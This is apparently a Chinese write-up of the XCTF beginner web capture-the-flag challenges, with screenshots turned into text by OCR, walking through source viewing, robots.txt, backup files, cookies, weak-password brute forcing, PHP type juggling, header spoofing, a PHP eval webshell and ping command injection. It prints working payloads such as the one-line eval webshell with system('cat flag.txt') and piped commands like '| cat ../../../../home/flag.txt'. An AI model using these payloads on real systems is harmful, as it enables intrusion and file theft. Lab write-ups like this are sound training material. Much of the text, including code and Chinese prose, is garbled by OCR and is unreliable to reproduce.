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view_source
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ctrl+u
F12
view-source:http://Hhk

view-source:http://220.249.52.133:46705/

TIDOCTYPE html»
<html lang="en">
<head>
<meta charset="UTF-8">
<title>¥here is the FLAG</title>
</head>
<body>
<script>
document. oncontextmenu=new Function(“return false™)
document. onselectstart=new Function(“return false™)
<fscriptr

<h1>FLAS is not here</hl>

<l—— cyherpeace (d99d9:4F 790 74d293e1 289003206981} —>
</body>
</html>

robots

BE R

XM LR T Robotsthilt, /N7 FIZE) EVRIT 7 HEHE, 5 R¥HE /D T Robots il & A+ 4 ME.

BE robots.txt XM, B LAFE B —AphpX

User-agent: *
Dizallow:
Dizallow: flag 1= hire.php

B #1 [l php3kEtflag
backup
B E R

XZ MBI ER 2 63 SO, AR/ T° 7] 2 230 A0 SO 3R R, — R T R 22 0E

RoR &M M, FTA%iR7HzZip, bak, .index.phpiXx—2&)C



1EEFT7T index.php.bak >

SEETIT:
| index.php.bak

IR BAK 32t (500 )
=E:  http://220.249.52.133:32030

s not found on this server.

249.52.133 Port 32030

SPEE Firefox Mmoh il -2

O RFHEE)
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Vi lilindex.php.bat/c T # & FE N 2 B 7 3K B flag

cookie

R H A -
XZ & f/N T Al fEcookie Bl T B AR 7, /MBI XEROHTHEBG?

CLKIICORE], FA$T7F IR R E TR, RaiAfF, ™ LA ElcookieH 777 —php 3 fF

> oO=== sHe DEE N ((skss O Orr B EE f ZESks B AEEF @ MexHacKBar 0] === X
- B cockie v + @& v

B & Domain Path Expires / Max-Age x HttpOnly Secure SameSite BEWE v BEE

v B s e = 220.249.52.133 / Ise jone = look-here: *cookie.php”

Do "220.249.52.133"
» B Indexed DB omain
Expires / Max-Age: "&i%"

» B wtimes HostOnly: true
v B s HttpOnly: false
Path: */*

d, 04 Nov 2020 150347 GHET

SR TUTH $2 7 B A 3k «

See the http response

FIFHburpdl e, Ki%kZFlrepeaterfidl, W] LUK MRk H F7Eflag



GET /cookie.php HTTP/1.1 HTTP/1.1 200 CK

A

Host: 220.249.52.133:44505 ’ Date: Wed, 04 Mov 2020 16:12:07 GMT
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4, x64; rv:82.0) Gecko/20100101 Firefox/82.0 Senver: Apache/2.4.7 (Ubuntu)
Accept: text/html application/xhtml+xml applicationfxml;g=0.9 image/webp **q=0.8 K-Powered-By: PHP/S.5.9-1ubuntud 26
Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 &n;q=0.2 I flag: cyberpeace{rfde183f9643fc201b9799f17902a5¢c]) I
Accept-Encoding: gzip, deflate ary. ACCepl-Encoding
Connection: close Content-Length: 411
Cookie: look-here=cookie.php Connection: close
Upgrade-Insecure-Requests: 1 Content-Type: text/html

<html>

<head>

<meta charset="UTF-8">
<title>Cookie</title>
<link href="http://libs.baidu.com/bootstrap/3.0 3/css/bootstrap.min.css” rel="stylesheet" />
<style>
body{

disabled_button
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O D=== Dsls ODiFdE NAEE ((esESE O R BEE T 838 WA oy Max HacKBar
Q83 HTML
<himls |event

b <head> (=) </head>
w <body>
<ha>—-FBEtR A < /h3>

method="post™» I heigt
btn btn-default' disabled="" rle="height:5cepx;w g g submit™ value="flag" name="auth"» '.\'id‘Er
I T

tn-def

</himls default[

Mk & B 3% i A IR B flag



— M RERAYRE

| cyberpeace{d6bae118562fcd3571041f2ceah841c6}

O DEs DEde DEdsE NAE ((emsss O OrF B & r D5 5 AFR5F @ Max HackBar
Q &F HTML + o TEEs thev .els +
<html> (evert ) e
b <head> (=) </head> —
w <body> T
<hz>—-T aEa iR </ hax ZF O { HE
vforn actlon="" method="post" height: sepx;
<input class="btn btn-default" style="height:sepx;width:2eepx;" type="submit” value="flag" name="auth™» width: 2820x;
i)

weak_auth

R H A -
NFET —ABRRIERE, PR T — G,

BERMA—ANERE, BRI, RREDER, RERNEFHFERN, KARFIENTE T,

O O== Deds DEE NEE ((afess Oue OnF B &E  HESiRE 8 0FEEF @ Max HackBar
+ 2

Q5 HTML
<IDOCTYPE himl>
<html lang="en"» |event
b <head: = </head>

w <body>
<scriptr>alert(’password error’);</script>
:1--maybe you need a dictionary--»

< founy
</ hitml>

F Hburpf@i, MM _EYSEtop 1008 7 . JRIY L #AS4123456, Jf Hik BB HEflag



I Intruder attack 1

Attack Save Columns

\
- | Results I Target I Positions T Payloads I Options ] F
! Filter: Showing all items @':
a Request A| Payload | Status | Error |'I'|meout| Length |Cumment =
L 0 200 0 [ 434 all
1 1123456 200 O O 437
2 112233 200 0 [ 434
3 passward 200 ] [ 434 1y
4 123456789 200 0 [ 434
-l 5 12345678910 200 | [ 434
46 123123 200 0 [ 434
| 666666 200 | [ 434
(8 111111 200 0 [ 434
19 000000 200 O [ 434 : 1
! Reguest | Response 1
c|
jRawT Headers I Hex I HTML T Render }
i

<IDOCTYPE htmil>
<html lang="en">
<head:>
<meta charset="LITF-8">
<title>weak auth</title:>
</head=
— <hody=

“| cyberpeace{599ce732d11a8ded60MBBh3IA065fe12}<i--maybe you need a dictionary-->

</hody=
</html=

® EJ B EJ Type a search term

i

0 matches

) [ e ]

Lend ]

simple_php

B H HA -
NI dphp R BFHIES, TRIME BRI ZFE T JUTphpfiiE.



<?php
show_source(__ FILE__
include("config.php"

-@ ok

-@ bk

if($2==0 and
echo

if(is_numeric
exit

if >1234
echo

?>

payload: ?a=a&b[ |=1234

<Yphp

show_source(_ FILE_ ).

include("confiz. php™);

Fa=0% GET[ 2" 1;

$b=0% GET['b"1;

if($a==0 and %a){
echo $flagl:

)

iflis numeric(3ei) {
exit();

}

if(Fbr1234) |
echo $flag?:
)

W

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

get_post

R H A -
XZIME VDT FEHTTPIE S (B AE R ITE, IRAE R MR ?
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220.249.52.133

ISFHGETHIURR— & Na[EA1RIRE

urliRaE? a=1, F|FAhackbariEaZpostZ & b=2 3KHflag

IEAGETAHTERZ— & Ha [BEATHEE
15 LAPOST AT BE(EIRRE— N2 /9b (BRI E
cyberpeace{175fc969df2cc29e9efdc2e60df/0d81}

w O=ss Oee DEE NEE ((eness Ous Onr OEE f Doshs 3 0HE5 B MaxHackBar

| 3 Load URL | http:/f220.249 52 133:51448/?a=1
U Spit URL |

¥ Post Data M Referrer Reverse s «a Base6d iw “ Url & | MD5 & SHA1 & SHA256 & ROTIO e

Post data

vg.cedn.net/weixin_41924764

BE R
XZ 45/ 7 H e xffllreferer & v LLOYIE T .



FIFEE, RnipthbtFEAN 123.123.123.123

ipHEHbEs AR 123 123,123,123

KNI TR I3 & X-Forwarded-For Header

X-Forwarded-For Header O -
This extension allows you quickly to set the X-Forwarded-For HTTP Header

THiFE, ®Eipk 123.123.123.123, BREFEEE, RABINIFEREgoogle

IP Address:

123.123.123.123

Recently used IPs:
s 123123123123
= 127.0.0.1

Send the following headers:
X-Forwarded-For
¥-Originating-IP
X-Remote-|P
X-Remote-Addr

iz B hitps:/iwww.google com

FFHburpI, Bk, HIN Referer: https://www.google.com



GET /HTTP/.1

Host: 220.249.52.133:49095

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html application/shtml+xml application/xml; g=0.9 image/webp ** ¢=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: https:/fwww. google.com

K-Forwarded-For: 123.123.123.123
K-Originating-1P: 123.123.123.123
X-Remote-IP: 123.123.123.123
X-Remote-Addr: 123.123.123.123
Cache-Control: max-age=0

webshell

R H A -

S

N HEET php— &, EERE BRI A EiEindex php B

BENBENL, RIS

Connection: close
Content-Type: text/html

<html>
<head>
<meta charset="UTF-8">
<title=index</title>
<link href="http:/libs.baidu.com/bootstrap/3.0.3/css/boatstrap min.css” rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
<fstyle>
<fhead>
<hody>
<p id="demo">ip ik 219123.123.123.123</p>
<script>document.getElementByld("demo").innerHTML="1¢) i3k & https://www.google.com";

<fscript=<script>document.getElementByld(“demo”).innerHTML="cyberpeace{ea56146cle7f5
90d79f2 cfcdB2360 cIb}";</script></body >

il

{R<({EFHwebshelll3?

<?php @eval(3_POST['shell);?=

RILARISETIBERE, BUORRBBITIFR )T, H#hackbarFlHsystemek & Eflag

shell=system('1ls');




{RE{EFwebshelllE?
rJe,v. php <?php
@evals_POST[shellT) 2>

O O== Oxs DEE NRE (JEtsEs O#uE Orar BEE f TESRE 8 UARSE  §) Max HackBar

Load URL | hitip://22
Y spit URL |
| (] ution |

¥ Post Data M Referrer Reverse 4 «u Base6d i @ Url & | MD5 & SHA1 & SHA256 a4 ROTIS i

Post data shell=system(ls');

R Bflag txt>CfF, FIHcatin 4 & Eflag

shell=system( ‘cat flag.txt’

{R=(=Hwebshellld?

I cyberpeace{1da&272579b61b704eb1 888b558532de}=|'?php
@eval($_POST[shell]).?>

D= Dsws DFE NEE (s QO Onr BDEE T T 3 WEEF & Max HackBar

ad URL ‘ hitp://220 249

U Spit URL ‘

Post Data Ml Referrer Reverse as 4a Basetd i @ Urd & | MD5 & SHA1 & SHA256 &% ROTI3 &

shell=system('cat flag.txt");



command_execution

7B E R -
NTF T AMping T e BB Bwaf XEIM &R X R IFFE BR K, REMIERT LS,

ITIFEENL, WEIRRRAIT L Eping—MHidk, ATHAN 127.0.0.1 | 1s

PING

127.0.0.1 | Is

PING

ping -c 3 127.8.8.1 | 1s
index.php

BHFEhomeH%, KM—/flagCi4

|1s ../../../../home

PING

ping -¢ 3 |1s ../../../../home
flag.txt

HEflag

|cat ../../../../home/flag.txt



’ING

|cat ..// /. /homeiflag.tx

PING

ping -c¢ 3 |cat ../../../../home/Tlag.txt
cyberpeace{68a262859085b59b64137T26937d4ecfl}

simple_js

B H R -
INTRIT =AM, EH—BERANZEL, (Flagi® A Cyberpeace{xoo0000c )

MAFWE A, BIMA#EZE, BFFRAE, 7TCURI—AMIn%E 755 & f1JavaScriptil A&

<script type="text/javascript">

function dechiffre(pass_enc) {#BRATMIANRIRE W AT pass_enc
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"
var tab = pass_enc.split(',');#/, tJ# JiitlE#tab
var tab2 = pass.split(',');#/pass )% it Ftab2
var i,j,k,1=0,m,n,o0,p = "";#0/ELE
i=290
j = tab.length;#j EZNTHAHLHEHFHIEE
k =3+ (1) + (n=0
n = tab2.length;#18

i

|

for(i = (0=0); i < (k = j = n); i++ ){#i=0 iFBAIK(RITBMARIEE )n(passERHFEKE

tab[i-1];#o=ZNTHMAHRE—1
p += String.fromCharCode = #0=70 F
if(i == 5)break

0o

for(i = (0=0 i< (k=3=n i++
o = tab[i-1
if(i > 5 & & 1 < k-1
p += String.fromCharCode =

p += String.fromCharCode(tab2[17
pass = p
return pass

String["fromCharCode" ] (dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x

2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"

h = window.prompt( 'Enter password’
alert( dechiffre(h

</script>



BATRMRIG—F — 547

function dechiffre(pass_enc) &N —AHE, feiipass_enc® & 2 R B AT

var pass = "" EX—ANFE Kpass, WAAN 70,65,85...

split(',') LLMESADEIR, 2HIFR&H

String.fromCharCode ¥ Unicode 4t N— 7R

JEEAWANMorfEH, A2 FRAIE, BAIAERMAH 4 #HLHH FAUX PASSWORD HAHA
flagH N7 dechiffre B, BB T FRFH:

String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x
31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

K1 G B R T F

16 HIFILFFFH

ISR R TR LET 10M

HEEE: 144

RV ERVeRAV AldVERVEIAVeldVERVE Vel dVERIVE IVEAVERAVEI AVERVEIAVEIAVE LIV EIAVE AV IVERAVElV X AVEL IVEIAVZIAVEY AVElVE TRV EldVE AV E LIV IV e RV el

= (e ss e S (Sl AR | E=ER | SRER

1 55,56,54,79,115,69,114,116,107 49, 50|

RIETEHI G FIH string. fromCharcCode # Unicode i N FEAF , BRI #KkEflag,

String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50)

e O== Desis Dz Nue (essss Qe s B
W viaEEs

SW registered: P ServiceworkerRegistration { installing: null, waiting: null, active: S

¥ string.fromCharCode(55,56,54,79,115,69,114,116,187,43,58)

oo |

»

&5 HRIRR, $Afaghn LGN cyberpeace{7860sErtk12}
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	xctf攻防世界-新手练习区(web) Writeup
	题目

	view_source
	robots
	backup
	cookie
	disabled_button
	weak_auth
	simple_php
	get_post
	xff_referer
	webshell
	command_execution
	simple_js

